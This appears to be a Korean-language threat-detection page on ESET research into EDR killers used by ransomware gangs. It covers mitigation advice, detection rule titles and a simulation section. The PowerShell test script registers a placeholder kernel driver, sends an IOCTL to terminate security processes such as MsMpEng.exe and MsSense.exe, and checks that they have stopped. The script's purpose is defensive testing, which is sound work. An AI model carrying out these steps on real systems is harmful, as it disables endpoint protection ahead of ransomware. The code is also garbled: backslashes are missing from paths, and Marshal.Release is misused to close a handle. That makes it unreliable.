ESET 리서치: EDR 킬러 설명 – 드라이버 이상의 것
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 기사는 랜섬웨어 운영자들이 암호화 프로그램을 시작하기 전에 엔드포인트 보호를 무력화하기 위해 사용하는 EDR 킬러 생태계를 탐구합니다. 적대자들이 방어를 피하고 보안 소프트웨어를 비활성화하기 위해 취약한 드라이버, 합법적인 안티 루트킷 유틸리티, 심지어 드라이버가 없는 기술을 어떻게 사용하는지 설명합니다. 이 발견은 실제 공격에서 목격된 거의 90개의 EDR 킬러를 커버하는 텔레메트리에 기반하고 있습니다. 연구는 또한 랜섬웨어 연합의 역할, 동일한 드라이버의 반복 사용, 상업화된 EDR 킬러 서비스 시장의 성장도 강조합니다.
조사
ESET 연구원들은 EDR 킬러가 어떻게 제작되고 배포되며 배치되는지를 추적하기 위해 텔레메트리, 코드 리포지토리, 문서화된 침입 사례를 분석했습니다. 그들은 드라이버 기반, 스크립트 기반, 안티 루트킷, 드라이버 없는 변형을 포함한 다양한 패밀리를 분류하고 이를 Warlock, LockBit, Akira, Medusa 같은 랜섬웨어 그룹과 연결지었습니다. 연구는 또한 공개된 개념 증명 코드의 무기화와 이 도구 생태계에서 AI 지원 개발의 성장하는 영향력을 강조했습니다.
완화 방안
방어자들은 알려진 취약 드라이버를 차단하고, 특권적 관리 명령어의 비정상적인 사용을 모니터링하며, 알려진 EDR 킬러 바이너리와 행동 패턴을 탐지해야 합니다. 드라이버 설치, 보안 제품의 강제 종료, 비정상적인 네트워크 차단 행동을 식별하는 계층적 탐지는 공격자들이 랜섬웨어 실행을 시작하기 전의 시간 창을 좁힐 수 있습니다.
대응 방안
EDR 킬러가 감지되면, 호스트를 즉시 격리시키고, 악성 프로세스를 종료하며, 승인되지 않은 드라이버를 제거하고 보안 통제가 완전히 복원되었는지 확인해야 합니다. 침입과 관련된 랜섬웨어 페이로드 또는 연합 활동을 결정하기 위한 포렌식 분석을 수행하고, 광범위한 사건 대응 워크플로우를 활성화합니다.
공격 흐름
이 부분은 아직 업데이트 중입니다. 알림을 받으려면 가입하세요
알림 받기탐지
가능한 BYOVD – 취약한 드라이버 공격 (file_event를 통해)
보기
의심스러운 Taskkill 실행 (cmdline을 통해)
보기
의심스러운 TrueSight 드라이버 설치 (system을 통해)
보기
의심스러운 랜섬웨어 간섭 서비스 중지 (cmdline을 통해)
보기
가능한 BYOVD – 취약한 드라이버 공격 (감사를 통해)
보기
탐지할 IOCs (HashSha1): ESET Research EDR 킬러 설명: 드라이버 그 이상 Part 1
보기
탐지할 IOCs (HashSha1): ESET Research EDR 킬러 설명: 드라이버 그 이상 Part 2
보기
스크립트 기반 보안 프로세스 방해 탐지 [Windows 프로세스 생성]
보기
프로세스 종료를 위한 DeviceIoControl을 사용하는 EDR 킬러 [Windows Sysmon]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준 사전 검사가 통과되어야 합니다.
공격 내러티브 & 명령어
-
1단계 – 악성 드라이버 삭제
공격자는 드라이버 바이너리 (EdrKiller.sys)를C:WindowsTemp에 쓰고, 이를 서비스 이름으로 등록합니다EdrKillerSvc. -
2단계 – 드라이버 서비스 시작
서비스를 시작하면 드라이버가 커널 공간으로 로드되며, IOCTL 핸들러를 등록하여 프로세스를 종료할 수 있게 됩니다. -
3단계 – 악성
DeviceIoControl호출 발행
PowerShell을 사용하여, 공격자는.EdrKiller에 대한 핸들을 열고 IOCTL 코드0x9C040001(가상 “TerminateProcess” 코드)를 보냅니다. 드라이버는 프로세스 목록을 반복하고, 알려진 EDR 구성 요소의 실행 파일 이름과 일치하는 모든 프로세스를 종료합니다. -
4단계 – 종료 확인
공격자는 대상 EDR 프로세스가 더 이상 실행되지 않음을 확인합니다.
회귀 테스트 스크립트
# --------------------------------------------------------------
# EDR 킬러 시뮬레이션 – PowerShell (관리자 필요)
# --------------------------------------------------------------
# 1. 경로 및 변수
$driverPath = "$env:ProgramDataEdrKiller.sys"
$serviceName = "EdrKillerSvc"
$deviceName = ".EdrKiller"
$ioctlCode = 0x9C040001 # "TerminateProcesses"에 대한 예제 제어 코드
# 2. 악성 드라이버 배포 (시뮬레이션 - 실제 테스트를 위해 실제 .sys 파일로 교체)
# 데모 목적으로 합법 드라이버(null.sys 등)를 복사하여 플레이스홀더로 사용합니다.
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force
# 3. 드라이버를 로드하는 서비스를 생성 및 시작
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName
Start-Sleep -Seconds 2 # 드라이버 초기화 시간을 줍니다
# 4. DeviceIoControl P/Invoke 정의
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
uint dwIoControlCode,
IntPtr lpInBuffer,
uint nInBufferSize,
IntPtr lpOutBuffer,
uint nOutBufferSize,
out uint lpBytesReturned,
IntPtr lpOverlapped);
}
"@
Add-Type $signature
# 5. 드라이버에 대한 핸들 열기
$GENERIC_READ = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
$deviceName,
$GENERIC_READ -bor $GENERIC_WRITE,
0,
[IntPtr]::Zero,
$OPEN_EXISTING,
0,
[IntPtr]::Zero)
if ($hDevice -eq [IntPtr]::MinusOne) {
Write-Error "Failed to open handle to $deviceName"
exit 1
}
# 6. 악성 IOCTL 발송
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
$hDevice,
$ioctlCode,
[IntPtr]::Zero,
0,
[IntPtr]::Zero,
0,
[ref]$bytesReturned,
[IntPtr]::Zero)
if ($success) {
Write-Host "Malicious DeviceIoControl sent successfully."
} else {
$err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Error "DeviceIoControl failed with error $err"
}
# 7. 핸들 닫기
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null
# 8. 일반적인 EDR 프로세스가 사라졌는지 확인 (예제 이름)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
Write-Warning "$proc is still running."
} else {
Write-Host "$proc successfully terminated."
}
}
정리 명령어
# 악성 드라이버 서비스를 중지하고 삭제
sc.exe stop $serviceName
sc.exe delete $serviceName
# 가짜 드라이버 파일 제거
Remove-Item -Path $driverPath -Force
Write-Host "정리 완료."